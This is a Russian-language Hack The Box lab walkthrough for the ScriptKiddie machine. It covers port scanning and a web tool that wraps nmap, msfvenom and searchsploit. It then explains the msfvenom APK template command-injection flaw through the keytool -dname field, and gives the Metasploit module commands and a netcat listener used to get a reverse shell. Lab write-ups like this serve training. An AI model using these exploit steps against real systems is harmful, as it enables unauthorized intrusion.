Категория > Новости > HTB ScriptKiddie. Атакуем Metasploit при помощи Metasploit, чтобы захватить хост - «Новости»

HTB ScriptKiddie. Атакуем Metasploit при помощи Metasploit, чтобы захватить хост - «Новости»


16-06-2021, 00:02. Автор: Bradberry
Hack The Box.

warning


Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.



 

Разведка


 

Сканирование портов


IP машины — 10.10.10.226, добав­ляем его в /etc/hosts:


10.10.10.226 scriptkiddie.htb

И ска­ниру­ем пор­ты моим тра­дици­онным скрип­том:


ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
HTB ScriptKiddie. Атакуем Metasploit при помощи Metasploit, чтобы захватить хост - «Новости»
Ре­зуль­тат работы скрип­та

От­кры­тых пор­та два: 22 (служ­ба SSH) и 5000 (Werkzeug). Паролей у нас нет, поэто­му на SSH пока что делать нечего. Будем «про­бивать» порт 5000, где нас встре­чает стра­ница с обе­щающим заголов­ком k1d'5 h4ck3r t00l5. Уже инте­рес­но!


Стра­ница k1d'5 h4ck3r t00l5

Стра­ница поделе­на на области, в каж­дой из которых есть поля для вво­да. Пер­вое поле при­нима­ет IP-адрес для ска­ниро­вания 100 пор­тов с помощью Nmap, вто­рая область слу­жит для генери­рова­ния наг­рузки Meterpreter с помощью MSFvenom и тре­бует ука­зать опе­раци­онную сис­тему ата­куемо­го хос­та и IP хос­та для отсту­ка, при этом есть воз­можность исполь­зовать файл шаб­лона. В пос­ледней области прос­то выпол­няет­ся поиск экс­пло­итов с помощью ути­литы searchsploit.


При­мер наг­рузки, сге­нери­рован­ной с помощью веб‑сер­виса 

Закрепление


Здесь уже сто­ит подумать о том, как получить RCE. Есть два пути:



  • тес­тирова­ние полей на воз­можность инъ­екций команд ОС, так как вве­ден­ные дан­ные будут переда­ны как аргу­мент к соот­ветс­тву­ющей прог­рамме в коман­дной стро­ке;

  • тес­тирова­ние фор­мы заг­рузки фай­ла.


Так как тес­тирова­ние вто­рого вари­анта зай­мет мень­ше вре­мени, сра­зу нач­нем с него. Заг­рузка фай­лов .php и тому подоб­ных резуль­татов не дала, поэто­му перей­дем к заг­рузке более легитим­ных фай­лов — .apk. На сер­вере исполь­зует­ся Metasploit Framework, и в нем, что неуди­витель­но, тоже сущес­тву­ют уяз­вимос­ти. Куда забав­нее тот факт, что для MSF есть модули, которые сами эти уяз­вимос­ти и экс­плу­ати­руют.


Для мно­гих типов наг­рузок, которые пре­дос­тавля­ет msfvenom, он поз­воля­ет поль­зовате­лю ука­зать шаб­лон (опция -x). Даже если ты такую опцию не исполь­зуешь, msfvenom все рав­но будет при­менять свой шаб­лон. Но в модуле, который генери­рует наг­рузку с исполь­зовани­ем шаб­лона фай­ла APK, есть уяз­вимость, свя­зан­ная с внед­рени­ем команд. MSF генери­рует наг­рузку сле­дующим обра­зом:



  1. В фун­кции parse_orig_cert_data (ис­ходный код) исполь­зует­ся keytool для извле­чения поля Owner из под­писи APK, а так­же мет­ки вре­мени.

  2. В фун­кции backdoor_apk исполь­зует­ся keytool для генери­рова­ния нового клю­ча под­писи и самоза­веря­юще­гося сер­тифика­та на осно­ве све­дений, извле­чен­ных из фай­ла APK (ис­ходный код).

  3. Да­лее в той же фун­кции backdoor_apk про­исхо­дит де­ком­пиляция APK-фай­ла, при­меня­ется син­такси­чес­кий ана­лиза­тор XML для ана­лиза фай­ла манифес­та, внед­рение полез­ной наг­рузки, пе­рес­борка APK, при­меня­ется jarsigner для под­писи фай­ла APK.


Уяз­вимость зак­люча­ется в исполь­зовании ути­литы keytool на вто­ром шаге, так как про­исхо­дит выпол­нение через коман­дную стро­ку.


keytool -genkey -v -keystore #{keystore} -alias #{keyalias} -storepass #{storepass} -keypass #{keypass} -keyalg RSA -keysize 2048 -startdate '#{orig_cert_startdate}' -validity #{orig_cert_validity} -dname '#{orig_cert_dname}'

При этом зна­чение orig_cert_dname было получе­но на эта­пе 1, при ана­лизе исходно­го APK и извле­чении поля Owner из под­писи APK. Эта коман­да переда­ется в фун­кцию Open3.popen3(), которая, если исполь­зует­ся все­го один параметр, работа­ет, как и фун­кция system(). Это дает воз­можность инжектить коман­ды ОС, если поле Owner из под­писи APK будет содер­жать оди­нар­ную кавыч­ку и далее кон­вей­ер команд коман­дной стро­ки, завер­шающий­ся сим­волом ком­мента­рия (#).


Metasploit Framework поз­воля­ет нам соз­дать шаб­лон APK с уже встро­енным бэк­дором. Для это­го исполь­зуем модуль metasploit_msfvenom_apk_template_cmd_injection, а в качес­тве парамет­ров нуж­но ука­зать лишь локаль­ные адрес хос­та и порт.


msfconsole
use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
set LHOST [ip]
set LPORT [port]
run
Ге­нери­рова­ние шаб­лона фай­ла APK с бэк­дором

Так как мы будем выпол­нять бэк­коннект, то сна­чала необ­ходимо соз­дать лис­тенер, который будет при­нимать соеди­нение. Я буду исполь­зовать rlwrap и netcat.


apt install rlwrap
rlwrap nc -lvp [port]

А теперь заг­ружа­ем сге­нери­рован­ный файл и получа­ем бэк­коннект.


Заг­рузка сге­нери­рован­ного фай­ла на сер­вер
Флаг поль­зовате­ля

Перейти обратно к новости